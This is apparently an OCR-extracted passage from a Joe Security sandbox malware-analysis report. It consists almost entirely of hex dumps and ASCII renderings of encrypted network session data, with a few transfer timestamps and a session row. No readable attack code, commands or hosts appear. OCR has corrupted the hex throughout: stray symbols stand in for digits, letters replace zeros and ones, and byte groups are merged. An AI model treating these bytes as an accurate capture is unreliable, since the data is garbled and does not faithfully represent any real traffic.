9d df fc 8d 08 2f 4a 80 5d Oc a5 d0 9d 46 11 19 9f 59 68 16 49 89 7e 3a ea 4f ¢3 11 79 f1 68 d7 9d ef 70 10 10 df 8f 5e d7
bf 08 b0 6d 7c 34 d3 49 4f 88 dd ae 12 c3 23 a3 54 e7 82 09 89 f5 df 1f ba 58 56 cb 64 12 3a 3c b6 75 6f 03 59 62 be 28
5c 08 32 bf 8f f5 05 4e 22 5f 81 25 83 d1 66 ee 90 95 f7 ce 42 bl ad 3d ¢4 75 ba 04 aa 11 69 c4 35 7a 88 06 €0 5d 73 ac
337958 3d 28 61 b5 3¢ 72 ¢5 e7 bf 56 60 b9 b1 a2 f5 b6 8e b0 6e 29 f2 18 25 b7 52 2d 3f fa 52 cf 5e f3 c1 08 b0 Oa 0d 4f
17 7e 8a 04 a2 c5 70 1d bc Oa ec 34 52 44 50 e8 df 8b 09 b2 ca 98 ea b8 01 86 6e f6 d7 22 b1 9a 69 9c d2 c5 9f cc f1 al
52 47 5e 44 61 30 60 2c f9 df 6f 87 18 bb bd 2d 65

Data Ascii: 9~syKQ3Hb?rE'N1ixP/J]JFYhl~:Oyhp m|4I0#TXVd:<uoYb(\2N"_%fB=ui5z]s3yX=(a<rV 'n)%R-?R"O~p4R
DPn"iRG"Da0",0-e

Data Raw: 62 34 71 ee d1 8f e9 8e 05 6e 12 41 57 67 df b1 60 d2 2c ad 8d c9 94 ad 9d dc 2e 3a e4 8b df 52 b0 d5 57 18
854f 94 c389 81 57 ee e2 43 8a 01 21 cb bb 34 b3 39 9e 1a 52 fc 0a 69 12 f6 5b ec 01 e2 99 al 42 da ea 57 e4 f4 9a b9
5a 2c 7d 3f 6d 22 8d Ob 5e 83 44 fd e3 47 6f ae 65 a3 24 8f fe 51 04 78 77 64 33 2e 81 48 d0 8d ee fd 53 2a 4a 41 e7 7a
01 f0 de 9b 6a 17 18 6d 3c 75 6d 3a ec b6 99 1f 49 00 23 e6 69 bl bc 42 27 ec fe c2 b8 ¢8 7f 9¢c 39 e2 7b 66 f8 c7 60 8b
0102 2af4 11 d3 a8 e5 81 eb e9 47 be 6¢ ba a9 2a 8c 1a e2 60 11 04 a2 3b 69 39 4d d1 e3 70 3b 8e d7 78 67 e5 c5 3
69 65 48 e2 ec 23 f2 59 93 bd 7b 07 c2 75 48 d4 ca 3c 72 b9 2b fb ca 34 e4 c9 f2 e9 4b a0 ee 1d Ob b9 37 c3 ec 2d 9a fc
a3 12 fd a8 16 4c 4e d0 3e 36 3e 6a 85 3a 4e 7b 45 03 4b aa

Data Ascii: b4gnAWg',..RWOWC!49Ri[BWZ,}?m"*DGoe$Qxwd3.HS*JAzjm<um:I#iB'9{f *GI**;i9OMp;xgieH# Y {uH<r+4K7-
LN>6>j:N{EK

Data Raw: €8 64 21 81 90 ce 85 4a 79 4f 53 c9 ea 03 40 6f b6 c1 db 05 be a7 Oc 50 f8 fe 68 1d 32 28 fc eb 46 68 39 75 Oe
60 6b a7 6f 57 e8 f3 a9 1c 24 05 7b 10 30 d3 c7 87 90 b3 27 22 43 fc 4a b5 b3 f1 a4 b0 f6 93 5a 3a f6 e7 5a Oc 3e 5e 11
78 f0 8a 20 d6 b5 6¢ 43 af cd d7 5¢ Oe 08 1c 17 9c 3b ca 59 7f 4d 6d 12 d3 25 59 6f c3 6d 48 92 d2 8b eb 8c 7d dO 1f 6e
81 af 15 d9 f5 23 Ob a7 af 81 28 5 ea 24 0f 30 38 1f 14 8a 6a €8 d2 f4 60 74 85 dd 38 2e b2 a8 df d7 ee d3 ad ac 9c 67 1d
24 bb eb 8f 35 71 d9 d0 31 10 0d c3 34 57 54 36 e5 67 af 91 5e 1e 61 4c 2e fe 95 5¢c 3a 32 f5 8a d3 8¢ 83 7d €8 50 a2 04
02 94 66 f3 05 20 18 84 58 2f 9b 87 1b 58 62 fc 72 91 cf 2f 4c 6f cc 77 b4 62 62 4d 4d 3c fc 49 88 5e 83 92 b2 ¢7 80 44 cf
5e ec 02 ce 74 0d 27 29 76 4d d7 07 be 45 23 fc

Data Ascii: d!JyOS@0Ph2(Fh9u koW${0™CJIZ:Z>"x IC\;YMm%YomH}n#($08j t8.g$5q14WT6g aL \:2}Pf X/Xbr/Low
bbMM<I"DAt)VME#

Data Raw: 67 ef 43 5b 46 45 59 48 27 19 fb a7 c8 3e 02 dd 7c 96 2a 86 5c fc 9f f1 ac fb 32 48 fd 6f f1 8f Oe 4e cf 9d 06 ab
74 80 3c b8 12 14 17 ab 26 Oc db de 86 bc 66 11 cd 7b e5 83 ff e6 b0 57 2a 2e 59 66 0f 89 79 1b le cb 53 1e 45 28 e4 3e
f2 2f 13 4a 6b 75 6¢ ec 44 88 e7 bd 2e 27 e8 €3 27 01 70 fb 57 a1 49 75 67 35 9d 23 7b ad ea 69 45 69 ce 82 b9 3b c3 2e
18 7f 9e f7 2e 87 3d 3c 87 €6 6e 9f 11 27 59 73 01 ae 58 f3 9d 9b €9 05 06 16 d2 f7 c6 14 8e bb Oc d9 39 76 0d ed 42 5a
23 d7 68 b5 4b 65 6b ce e5 ae fe 10 db ca 9a f2 54 a9 e4 47 a9 18 8c ed cc 95 f4 9e 35 35 9¢ 19 69 el 74 a2 87 71 9a 3¢
2ac7 288043 8c 2b a3 db 1e f1 23 67 22 2d be 5¢ bl db 58 b9 28 6e 52 ec fc 36 57 2b 89 3c 95 44 ff a8 ef 42 8e 1la ee
a0 52 28 8d 3 c5 de a0 b7 a2 d9 1b 5e 8b 8a bd b5

Data Ascii: gC[FEYH'>|"\2HoNt<&{W*.YfySE(>/JkulD."pWIug5#{iEi;..=<n'YsX9vBZ#hKekTG55itq<*(C+#g"-\X (NnR6EW+
<DBR(*

Data Raw: bb 8f a0 bf 0f b5 5d e1 01 30 8c 8d 5f 28 29 03 97 5f 6a 03 bd e6 {7 5a da cc 91 5a 8f c9 2e 46 f0 3d ee 84 4b
32 eb 96 9f 92 41 81 ec 14 32 fd 7a 38 49 41 f6 57 65 16 2a 3d 5e 6d 16 84 b2 99 4f f5 37 88 5¢ f8 62 07 a9 49 a2 75 81
04 0 ae Of bl cf 9e 06 4b 63 b3 93 7b 10 5a 8e ad 32 a3 1b 78 c9 84 b6 53 1a d6 31 43 19 8b 18 7e c9 ff Oe b7 96 fd 66
6 2a a9 5a 99 5¢ 24 2e 66 53 4a 03 el 95 e4 97 Of be 43 3a 9c cf 32 e0 7f a8 33 €6 65 6d 11 dc 5f 98 74 2f 92 7a 70 00
7c cb 95 bf b0 d8 ce 75 a8 7e fa 61 3c cO a3 9e 24 90 7d 83 98 9e ff 1a 1f 46 62 17 18 14 d1 32 92 79 27 ff bf 57 73 28 f6
89 93 d3 dc b7 51 26 00 a4 d6 16 d8 21 bb 8¢ 81 dO fd 16 1a el fO 17 bf 28 b1 b7 7d €8 73 c2 f3 a3 56 01 d6 €5 31 b7 90
a0 ca 30 58 9e 7c f9 02 c1 f1 42 8a ab 7b 12 bl bb

Data Ascii: ]0_()_jZZ.F=K2A2z8|AWe*="mO7\bluKc{Z2xS1C~f*Z\$.fSIC:23em_t/zp|u~a<$}Fb2y'Ws(Q&!(}sV10X|B{

Data Raw: 3b 50 1f 78 a2 b5 c0 3c 5e fd d5 8a bc 01 b7 74 f9 78 05 7d Oc 5b 94 70 33 d7 65 d4 8a 97 38 a0 19 a0 63 a2
b6 92 bc 55 00 de d6 bl d7 5a 03 28 e5 95 ¢9 2b 18 26 ¢3 67 9a d3 ef f3 07 57 27 63 d0 ba 1e 71 2e 00 d1 60 4c fc 20 80
8e 3354 d3 79 cc f6 fb 77 1f f4 2f 79 4c 09 59 22 b3 bb 75 1b a3 62 11 b4 96 96 dO 3c ed fe f1 da cf 08 5a 87 50 67 44 4e
77 b8 7e 4c c5 ee 2082 72 ed 77 dd a9 4d f0 e9 ec 7e d2 d9 15 b2 75 26 ab d4 31 14 2b e5 f2 67 2c e5 33 5f 4a b3 7c el
7176 58 03 1b 8f 63 57 e5 4b d1 6e fe 84 a6 00 f4 55 b9 2d b1 25 fb 09 b1 6¢ 1a 6f 61 8c 2b 75 b3 c1 bl e2 eb fa 86 Oe
d1 38 c9 10 c6 96 36 ed 43 Ob 8e bf 11 76 15 20 33 d3 5a d2 a6 al 27 86 63 84 08 2e 16 12 fc 47 4f 87 4d 37 d9 ed c2 ed
16 69 3c f5 51 a3 b9 fd 63 36 ee 29 3d 94 Ob b7 ec f6

Data Ascii: ;Px<"tx}[p3e8cUZ(+&gW'cq. L 3Tyw/yLY"ub<ZPgDNw~L rwM~u&1+g,3_J|qvXcWKnU-%loa+u86Cv 3Z'c.
GOM7i<Qc6)=
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kBytes

Timestamp transferred Direction
2022-06-26 07:42:48 UTC 227 IN
2022-06-26 07:42:48 UTC 231 IN
2022-06-26 07:42:48 UTC 235 IN
2022-06-26 07:42:48 UTC 239 IN
2022-06-26 07:42:48 UTC 244 IN
2022-06-26 07:42:48 UTC 248 IN
2022-06-26 07:42:48 UTC 251 IN
2022-06-26 07:42:48 UTC 255 IN
2022-06-26 07:42:48 UTC 259 IN

Copyright Joe Security LLC 2022

Data

Data Raw: 91 29 62 99 3a 85 d9 c6 48 45 62 c2 a8 bc ac fc 28 c7 82 55 2f f3 c4 4b 10 94 df ef 25 fd d6 48 07 84 a3 d8 60
35 f4 48 6a 21 b4 d8 87 bf fb 1a 6¢ 55 59 e3 02 ee c6 87 7f 16 97 c4 7f 92 7a ea a9 a2 ad 50 6d 5d 79 32 81 86 e7 71 84
€7 24 0b 3c ad 3a 27 41 fc 69 ac 30 fa 7e a3 2e Ob 81 2e b5 8 9c el 71 4b 80 14 55 ea a5 a8 09 4b a4 4e 37 18 65 e7 db
7e de 62 1c Ob 16 3b 9e ae 85 65 8f 06 89 72 c8 3a 30 f5 9a 8a 8e 5c Oe ea 34 44 4c e5 9d a8 b4 f5 13 69 65 e3 e7 02 b9
99 99 31 12 22 96 ea 8e ef 00 ac cf f4 1508 cb 11 e5 17 dc 52 18 Oc 78 00 d7 bf 44 a0 50 e2 39 88 d8 ef 00 8d 22 01 02
00 bl f2 b8 11 9f d9 7b 36 c1 74 5a 56 f9 65 ca a5 da d5 be 81 al 20 ae Oa 19 41 ec 6a fb ec 48 ad c8 Oa fe 48 cf fb e0 36
4b c9 8e 8b 52 84 e2 5a 93 b7 5¢ 93 ef e2 9b a8 b5

Data Ascii: )b:HEb(U/K%H 5Hj!lUYzPm]y2q$<:'Ai0~..gkUKN7e~b;er:0\4DLie1"RxDP9"{6tZVe AjJHH6KRZ\

Data Raw: d2 39 1c 13 fd d6 f6 el e5 3e f6 14 86 48 d9 3d 10 bb b4 4d bd 13 38 be 17 61 97 f9 81 49 b9 fb 67 37 85 62 3f
07 c7 68 53 cc 54 a9 40 a3 db b8 11 30 61 54 ef 89 93 3e 64 fc ea Oc 4a 80 c0 bd 08 3¢ 75 82 c9 7f 68 7a bc 84 64 dO ce
ba d8 86 6e 25 ed 89 1a 85 35 61 d3 c6 ec 7d 71 5¢c 0d 9c Oe 11 6f 8b 2f fO ee 71 95 35 Ob b5 fd 4a 1b 42 f4 3e a9 77 5¢
33 d1 9651 89 83 22 64 2f 9b cf e3 bb dd fb c6 01 68 df 9a 52 a2 16 26 ff ef 56 05 86 62 da f9 9b c3 e6 €8 el Oe d8 15 99
8d fb d1 79 ad 40 Oe b9 bb 42 47 46 fd a6 7b f2 50 9 60 8b a7 f1 6d a0 bb 96 8a 24 1b 79 2b 4b 7a e8 4d 83 b2 32 b6 44
9b ad 00 b6 bc ca 0a be 37 59 6 55 6d 65 db 99 6e 89 c3 26 fc 06 36 fc 6b 53 55 cc de e2 82 2d 87 47 cd 4d 88 5¢ 20 48
2a 90 a7 40 7f 52 64 6b 90 ba 35 56 56 14 3c 44 52

Data Ascii: 9>H=M8alg7b?hST@0aT>dJ<uhzdn%5a}q\0/q5IB>W\3Q"d/hR&Vby @BGF{P m$y+KzM2D7YUmen&6kSU-
GM\ H*@Rdk5VV<DR

Data Raw: 14 8a f6 92 5b 62 7d 46 3c d6 d1 8e 14 92 c1 8e e8 18 48 f3 75 4e 19 67 33 b4 4b b4 92 29 90 e5 92 59 30 c4
28 3d 8f 87 2c 2d 3c 54 79 25 64 c4 2a al 44 6b dd d6 38 60 b7 el 9f f1 75 01 6d 9e 8f d9 1f 21 c5 ca Of 3c 26 5¢ 0f 50 74
61 38 8a 8e 61 f1 c3 fb cc ff 16 44 7c 6f 3a 8a €6 41 d0 18 f2 ef 2c d7 e3 b0 51 65 b0 d6 00 13 3b 48 27 c9 18 ab 84 5d da
78 a5 5 ¢6 4b ec 7c 76 39 0d 8e 9f 15 25 96 3c da 08 Of e8 67 73 51 ff 63 07 64 12 75 6¢ dO c0 87 d3 05 27 ff 42 Ob a9

57 44 c9 c6 47 29 84 97 Oe 26 67 77 e6 2a 7a 58 3c f6 ¢4 2d 18 7b 4c d9 28 c9 e7 21 b9 40 Ob 4b 00 81 4f ad e7 f9 Ob 85
2b 95 92 30 95 b6 ad a3 43 10 b6 37 {5 4f 6f c9 c4 8f 71 fa 84 07 18 94 ed 84 84 a7 49 64 30 f4 2d a2 c5 1le 76 fb 6e 45
d8 16 aa 25 4e c7 24 5e 70 42 el f3 57 da e3 43 5¢

Data Ascii: [b}F<HuUNg3K)YO0(=,-<Ty%d*Dk8 um!<&\Pta8aD|o:A,Qe;H[xK|v9%<gsQcdul'BWDG)&gw*zX<-{L(! @KO+0
C700q!d0-vnE%N$ pBWC\

Data Raw: af ee a7 01 73 1a 2e 59 61 c5 f4 20 5d 13 23 e8 74 9e Ob ac 6f 66 41 62 45 ee 3b c8 4b 9b 7b c6 a3 61 90 62
a5 8d ba e2 44 76 12 c4 f9 ef 8b 2f 34 39 dc a4 7a 90 8a b5 42 6e 97 Ob 4b 6¢ 53 38 12 b5 47 37 b3 59 e4 a4 f4 46 61 00
32 3d f2 75 de 00 cf 4f ec 68 88 e6 de 00 1f 42 71 a5 97 b7 4a dc 76 3c db 3d 37 d4 56 23 18 86 61 10 3f 3c a4 86 Ob cO
c4 9e Oc ec fc e3 ac b7 85 5a f1 d3 8f 60 d2 c1 87 7 5e ce e7 9a 6f 2a 57 24 64 58 9c eb 9b 4a c0 29 51 a7 73 Oa a8 36
4211 50 c6 28 b5 ae 76 d8 52 34 47 3c fe ¢6 31 €6 76 b2 5a 29 41 6a 01 22 18 40 96 20 98 35 66 17 dc a0 ca le 2f 49
66 fb 2a 21 41 b9 8 26 al 8f 74 fO 1f e0 2d 9d 42 c¢7 05 d1 61 de dd 4c e4 42 19 76 1c a6 al ea 9a 24 51 4c 61 ca 2e 7c
7d 4510 ed 11 1f dc 66 €8 96 52 02 8¢ b7 ff 8c ba 98 19 7¢

Data Ascii: s.Ya J#tofAbE;K{abDv/49zBnKIS8G7YFa2=uOhBqJv<=7V#a?<Z "o*W$dXJ)Qs6BP(VR4G<1vZ)Aj"@ 5f/If
*IA&t-BalLBv$QLa.[}EfR|

Data Raw: 5e 55 aa bf b4 ca 34 b4 05 d1 50 Oc d2 fc ef db €5 38 38 61 37 €9 d6 35 fb 59 74 4d ba 68 38 f9 69 db 89 5 1b
05 18 15 2d c7 e6 68 fbh 06 4a Oc 1b 4e dO df 82 3b 81 80 c8 a9 b2 49 87 c1 76 73 fO 9c c3 2f b2 f8 e0 5¢ 22 d6 1b Ob 88
55 6a 55 2d a3 3a 82 6e d4 18 df 87 66 4d 99 d2 5e be 58 f4 fb cf 70 98 e2 4c 2f 51 0d 57 55 09 Oa 6d ff df 04 64 af a8 34
d2 d8 e0 66 8c 6¢ ac dd a2 24 9d ea 02 5f 1b 84 b5 85 c4 e4 e6 6b 24 26 dd 54 c2 52 c7 c4 Ob 77 4c 8e 09 70 b2 b6 05
be 20 6e 79 f2 b7 ab 66 2a 1b 5b 45 95 07 fb 38 b4 ef 40 38 f1 2e 39 eb 21 66 0d 99 87 b2 b4 fc 00 d5 b5 f0 c7 8e d5 f5
9c 58 a2 cd 9c 76 67 30 12 10 47 02 5d 10 fO e5 9d 2d fa 61 c¢8 83 52 06 8d d3 3f 1c 90 b6 c3 41 6e a5 c7 f3 28 3 4¢ 15
b4 90 Oe ca ae c4 5e 1a d6 38 2f 74 7d 7a 79 ca 04 9b

Data Ascii: "U4P88a75YtMh8i-hJN;Ivs/\"UjU-:nfMAXpL/QWUmMd4fl$_k$&TRwLp nyf*[E8@8.9!fXvg0G]-aR?An(L"8/t}zy

Data Raw: 63 5¢ 5e e0 04 d4 a9 c7 95 e2 96 21 17 4b 1f Oa a0 5f c4 68 6a a9 49 d5 4f c4 05 fa €9 49 22 04 2b f5 cb cd 1e
a2 f1 84 a8 28 19 8b 08 ef 7c 5¢c 02 87 d6 4d 3b 77 75 44 a2 2a e5 79 7c ed 7a 58 f2 5b ce 6a 79 d1 15 b0 97 9a 66 ac Of
38 a5 b4 de 6f 79 95 87 5a f8 90 e9 c0 22 91 b2 85 31 1a 8e 9b c8 dc 43 52 cc e0 45 ed 61 6¢ 6¢ a3 e4 f5 63 a2 99 ¢4 d5
85 a2 55 cc 26 51 89 61 f0 52 46 57 4d 24 30 2d 48 41 cb ba 80 6a a2 56 07 4f 67 b4 9b a6 77 5a 96 fd ce 9e 31 2b 25 Of
ed 02 99 5b f6 09 54 61 3a 34 c3 33 6f 98 ae 46 3e 92 3d 02 e3 e2 ef fa a2 21 77 05 ba 49 b9 7b 19 37 7a 8e 87 3 6e c0
f4 5d 7c d9 aa 0d 1c 3e 3d ce 3d 39 bf ca 82 9b aa 23 ¢7 d4 16 e3 57 c8 cl be 77 8d f2 77 4f c8 18 4a b6 5f 70 4a c2 61
ce Oe 3e 35 da Oc ee 92 f2 25 48 16 85 ba 78 00 e0 da

Data Ascii: c\MK_hjlOI"+(\\M;wuD*y|zX[jyf8oyZ"1CREallcU&QaRFWM$0-HA]VOgwZ 1+%[ Ta:430F>=lwI{7zn][>==
#WwwOJ_pJa>5%Hx

Data Raw: c0 6a 5f 6¢ f4 7f 96 38 ¢7 b9 77 bd 8d 03 cb d5 b5 bc d6 00 ae e0 b3 c1 95 81 b3 ef ae 6b ff 73 4c 89 ac e6 7b
c0 5d 1f b4 46 a2 ed 03 fe f4 26 9e 03 f6 ca 73 b6 f9 04 f1 35 64 b7 c3 68 0d Oa b1 90 c2 63 36 29 4d 31 7c 05 Oa c3 a6
3b 47 e8 59 1e fd b4 e8 23 48 94 d2 c6 be 74 68 36 b9 28 7c fc 14 30 53 92 11 ¢3 b9 2f 9e 91 Oc eO fd df 69 d4 55 d7 19
9f e1 99 6b 69 59 50 8b 12 f5 23 cc €6 d5 a2 91 5f 62 dO b8 52 ba 10 b3 88 ee 3f b0 f2 55 0 93 4d 2f fc 5¢ 33 98 29 38
76 €5 0c 80 1c a2 90 15 a6 d4 c0 d3 d6 a2 54 39 ed e3 ff 26 2e c3 €3 41 a5 68 cc ea 66 el d1 c8 52 76 19 f8 26 c0 fc 22
ac ce 3d 13 bd d3 31 04 bb Oc 4 f3 ¢3 34 84 12 1a cf 42 a5 99 01 89 ec c0 bd 67 c4 6d 83 c1 3f 9c 36 7e f8 0d 50 ff d8 al
4c 62 66 54 dO 1e 47 c7 80 8d 83 78 82 51 ff a6 de

Data Ascii: j_I8wksL{]JF&s5dhc6)M1|;GY#Hth6(|0S/iUkiYP#_bR?UM/N3)8vT9&. AhfRv&"=14Bgm?6~PLbfTGXxQ

Data Raw: 27 6e 93 54 d4 30 ac 64 c7 ca 2e 58 c5 19 3e ca b6 d4 71 f7 89 de ef 13 52 5¢ dc 4f 3d 8a 53 €9 04 5 9e be 71
7f 24 de 47 73 1b 1f 5¢ 1a cc ba 30 fa 78 dc 7c b2 9¢ 3d 36 11 d8 22 e2 7e 3f 47 b9 68 80 b5 9a 85 8b b8 d1 e2 3b 24 28
68 d9 d1 c8 a0 64 5b 0d f2 61 f9 18 d0 cb 60 44 b6 2b b8 d9 d0 17 c5 e2 b9 db 77 17 9b 2f f2 27 3f 02 e7 ca b5 21 11 6a
61 cb f8 54 bc 2a 61 ca b2 68 02 8f 39 34 a0 11 6a 47 64 4c 72 b3 3f 6d cc 00 Oc a8 34 5¢ 6b 47 55 ee 9d c7 5e a3 73 86
82 20 a6 ba 6b 1c bd 6d d0 6d al 10 49 3 63 ef 40 f9 67 7e 44 6b f1 9d 66 d8 39 8b 2c 8d 06 64 de c5 4d al ae dO 1d 4c
e8 be 69 c4 7e 88 de 43 fe a0 90 e0 fc d4 eb fb 18 e4 3 69 a2 2a a4 61 8d cc 31 22 ¢2 24 19 05 22 d7 c1 7e c1 77 10 43
fc 9e 3c e2 b7 d0 22 32 63 51 08 38 58 4e 50 c2 02 3c

Data Ascii: 'nT0d.X>qR\O=Sq$Gs\0x|=6"~?Gh;$(hd[a’ D+w/'?!jaT*ah94jGdLr?m4\kGU"s kmmlc@g~Dkf9,dMLi~Ci*
al"$"~wC<"2cQ8XNP<

Data Raw: 30 32 c8 dc 5e 60 7a ae 30 b8 de aa b9 5a 39 24 00 66 08 54 c8 2¢ 3c 41 42 f0 5d fa Oc 1b 13 ad ff ec 72 d9
8d bd b8 47 da 20 8d f4 5d e7 82 ad b5 74 7d 1f 2d 0f 82 a3 08 ea 97 c2 9f 23 92 4b 4c 06 4c 4f 53 6a 32 94 90 a4 e7 2f
b3 21 51 69 e5 a3 08 9e df a0 8a 52 85 9f a7 12 e2 07 20 4f 8¢ 16 15 9d c0 19 64 50 1c 6f d1 56 1a 77 cc a4 58 c2 8a 6b
cacf432d 31 0d 56 ab f3 b4 e5 a9 28 dd 62 20 2b 49 12 c2 80 d6 86 9a b6 95 9c d1 98 8a a8 13 0d aa fc e6 32 ff 12 cd
6adb a4 d2 71 52 87 f8 54 b3 42 95 fd a7 39 e8 13 42 6e a5 f8 Oc 82 Oc 2d 75 6e af 12 9c ¢8 bc 03 71 b5 e8 47 61 b6 3d
e6 ac 10 52 65 cd 57 23 94 18 6a 27 ¢4 bc 48 7d 5b 6d 1d 19 2a Oc 29 d8 7d 1f 1d eb 8b 94 e3 df d8 d4 73 8b b8 c8 21 dO
7526 b8 ed 96 a0 16 8b ac 7b 82 1b 16 f4 b2 10 0f c4 d3

Data Ascii: 02"'z0Z9$fT,<AB]rG ]Jt}-#KLLOSj2/!QiR OdPoVwXKC-1V(b +I2jgRTBIBN-unqGa=ReW#j'H}[m*)}s!u&{
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kBytes

Timestamp transferred Direction
2022-06-26 07:42:48 UTC 263 IN
2022-06-26 07:42:48 UTC 267 IN
2022-06-26 07:42:48 UTC 271 IN
2022-06-26 07:42:48 UTC 283 IN
2022-06-26 07:42:48 UTC 287 IN
2022-06-26 07:42:48 UTC 303 IN
2022-06-26 07:42:48 UTC 315 IN
2022-06-26 07:42:48 UTC 331 IN
Session ID Source IP Source Port
2 192.168.2.3 49745

Copyright Joe Security LLC 2022

Data

Data Raw: eb 6d 09 d5 0d 5f 06 74 6a 69 d7 f7 dc 3f c4 bb 2b bb 7a 08 06 35 51 8e 37 b8 4b 6¢ 3a f9 6b fa 75 82 f8 8¢ 25
7d 5e ff a5 50 ab f6 0d 5e 89 f0 c4 59 34 17 76 78 d2 90 57 8f Ob ca 09 c2 5b 16 13 74 5f b2 3b 07 66 d8 61 e3 4b ac 00
c8 a0 789 fb 8¢ fO cb 82 8c 4b 33 a4 f0 b4 2a 7f 69 f3 8d 89 03 3f 20 e0 2a a7 {7 1a f4 df 45 2c 58 1d 6e 48 le 7e c9 c6
72 6e c1 8504 59 8d 4c f2 c5 98 fa 52 e2 f2 ef fe 01 b7 el 28 9f 02 10 42 a8 48 8e 11 13 2d Oa 1c ee 27 64 6b 47 2c e4
8a bb 54 3c 1e c3 1e ee 01 19 31 09 cc 6a f5 e5 3b al 44 7e 38 Ob 5a 01 27 4e 56 2f a8 3f 68 f1 f7 46 b9 fd 59 2c 8d 9f a9
el 2c 35 bd 99 4b 39 77 09 e4 e0 aa b2 46 3f 15 a7 19 4b 9c a5 54 93 6¢ 8e c7 6f 5d bc 30 91 bb 40 1e 6b 88 31 b5 df 1f
de 48 0c 06 c5 0b 19 50 2d el 90 71 d7 5¢ 9f 2¢

Data Ascii: m_tji?+z5Q7Kl:ku%}*"P Y 4vxWIt_;fakxK3*i? *E,XnH~mYLR(BH-'dkG, T<1j;D~8Z'NV/?hFY,,5KOWF?KT
lo]J0@k1HP-q\,

Data Raw: 6¢ bc be 43 ba 80 4a 55 1d d0 2c 51 54 a9 84 72 85 1d c6 a9 30 b1l aa 88 f2 7e fe f6 2d 88 d2 f2 7b 12 9e 7a
db 6a 01 7f f0 25 89 ¢3 70 60 bd 4b 9f 2a el d5 5¢ f4 60 39 37 dd fO da 02 e3 a3 23 89 48 ee al 04 44 5¢ 62 c1 38 99 93
05 cc 2a bd c4 db 59 81 95 42 40 0f 04 12 Of cf 83 09 d4 7e 6a 0a 42 dO 18 42 e3 f7 03 fe 94 42 b4 c6 41 dO b0 47 1c 8c
002ad7 7c 71 db 8f ad 3a 64 0a 91 5e 27 6¢ 12 de 48 56 72 28 ab 8b Oc 62 75 ef 01 51 0a Oc f1 5a d5 86 44 a3 97 f3 60
d379 70 8f 0a b5 d6 71 18 al a5 52 92 b5 35 0a 37 22 cd 2a 31 29 22 30 de la al 3f b2 b8 €6 51 a2 45 74 bc c1 02 cb
€8 96 6b b1 19 0f d6 d8 6d 6d 6b 40 f1 15 7c de €3 31 1b c8 a9 d1 5c ea €8 ad 88 d7 11 f4 69 cd 53 64 93 25 b4 f6 cd 28
ef b7 40 ef be 32 1f d8 53 56 c1 9a ae de bc 4f e0 01 cO fa

Data Ascii: ICJU,QTr0~-{zj%p K*\'97#HD\b8*YB@~jBBBAG*|q:d"IHVr(buQZD ypgR57"*1)"0?QEtkmmk@|1\iSd%(@
2SVO

Data Raw: ¢6 6d Oc fa 29 ¢1 70 1b 51 bc 48 f5 81 62 00 28 17 11 89 11 cb 29 6d Oe cd 92 25 bd 66 2a a6 a0 00 5a cd 29
57 7b db 19 25 77 80 17 9a 18 28 14 2c da 24 fd 9b b0 54 a4 09 1e cb 12 {7 bd 41 7c 64 74 3c c9 3d 3b 5c cf ab 90 91 de
54 5d 09 06 34 ea 36 d7 9c 50 c4 4b f0 29 96 e0 ac 4e 6f b4 41 30 10 3d 0d 0d 37 d0 49 8d 85 65 1b 11 8e 8a 98 €0 72
5e 4d d8 dd 4e 50 d1 20 f4 5e 6f 44 09 43 f7 bb 35 48 19 ca 4e cf 69 ef fe e8 0a 22 d4 ca Oc 15 ea cO b6 73 46 b5 6e 88
18 c8 5f e9 af 85 50 81 dd 7b 11 d9 fO 20 d6 e3 f8 d7 07 62 e7 2d e3 13 fa d4 91 59 2c ¢6 cd al 51 dO 49 e9 ca 52 e8 6f
Oc a0 82 2b 65 b9 eb f5 0d aa 10 c0 d6 98 ea 73 13 53 a8 33 c7 e5 ae 2a 3c ba 56 62 6¢ f9 d2 90 a5 e0 4e a5 44 dO 3a f8
15 5a9d 70 3e c8 5d 12 c6 50 88 3c al 4a 11 fd d7 8e e4 7b

Data Ascii: m)pQHb()m%f*Z)W{%w(,$TA|dt<=;\T]46PK)NoAO=7ler"MNP "oDC5HNi"sFn_P{ b-Y,QIRo+esS3*<VbIND:
Zp>1P<J{

Data Raw: 10 75 Oa 59 57 81 33 0a 5e 71 c5 49 d7 50 03 12 fa d5 95 b4 3 9f 98 93 39 02 6a af aa 72 87 c6 cb a5 b1l f8 7
5b 2f 15 e5 7b 4e 1c 7e c0 71 fO 5b 2a b5 ee a5 89 70 99 16 0d cf fb e2 cb ac bl f1 ad c3 2f fe 2a 1b 8e 4e 03 1e 7b 24 Ob
3e e5 11 ce f1 e3 d3 c4 bf 49 ¢9 74 73 37 69 4a 65 d1 70 87 18 f5 41 98 85 ba d7 1e cc 70 a0 b9 45 79 9d ba 84 76 c3 03
¢5 f3 2553 89 d1 e3 7e cc 28 63 3e 57 27 82 b5 05 19 36 9f ca 6a 22 07 7e 93 ca fe 11 ec 46 46 27 a5 23 4c 66 €9 9d el
53 2b 6f 93 e3 bd 1d 1b 57 c2 5f 8b 24 bb 45 39 ce f2 44 ce b9 85 ea 9b ab e8 82 8¢ f5 ed e6 59 dd 92 b3 8d 20 bd b1 Oa
4b 6a 63 a3 6d ac 8c e5 d4 70 05 ba db 7b ab 38 57 cc 89 c¢2 31 76 b7 43 4c 39 bd c5 46 64 9b d6 fc 68 62 4e ee 11 2d
80 6b d7 aa 73 19 83 8d 60 59 68 f9 bb 8d a9 05 63 ec

Data Ascii: uYW3qIP9jr[{N~q[*p/*N{$>Its7iJepApEyv%S~(c>W'6j"'~FF'#LfS+oW_$EIDY Kjcmp{8W1vCLIFdhbN-ks Yhc

Data Raw: 31 76 44 1c c2 43 1f 51 2d 76 31 ef 22 c1 34 3d d4 96 16 30 5d 12 54 f1 8e 42 29 4f 8c 0d bc ea 8f fd d5 b8 22
4a 4f 04 c2 84 5d 55 ef 87 06 b8 b5 fa 9c 2e 03 8a 4f 90 04 97 12 aa d0 d6 df 6¢ d5 e6 Ob dc 2b 03 c4 93 1f 74 06 76 07
24 72 7e 50 fc 03 f9 b2 fb b3 a0 40 34 1b 99 8b f1 3b 11 9d 77 f3 86 12 04 77 4f b8 69 ec f4 bd 50 8b 25 c7 40 9f 85 88 fa
12 3 94 5f d3 07 69 1b 20 38 9f db 15 95 8f 2¢ 13 42 f5 20 8c bd 54 57 80 7d bd 2d ba el 3a d7 9b c2 1d bc 5a fb 0b f1
€9 68 38 60 e0 97 36 6a ca 67 45 ec 2b 8f e5 f5 ¢8 3 6b b2 30 33 34 ce bd e0 39 e6 5b 30 fa f2 16 46 a2 c9 f9 7d f5 62 31
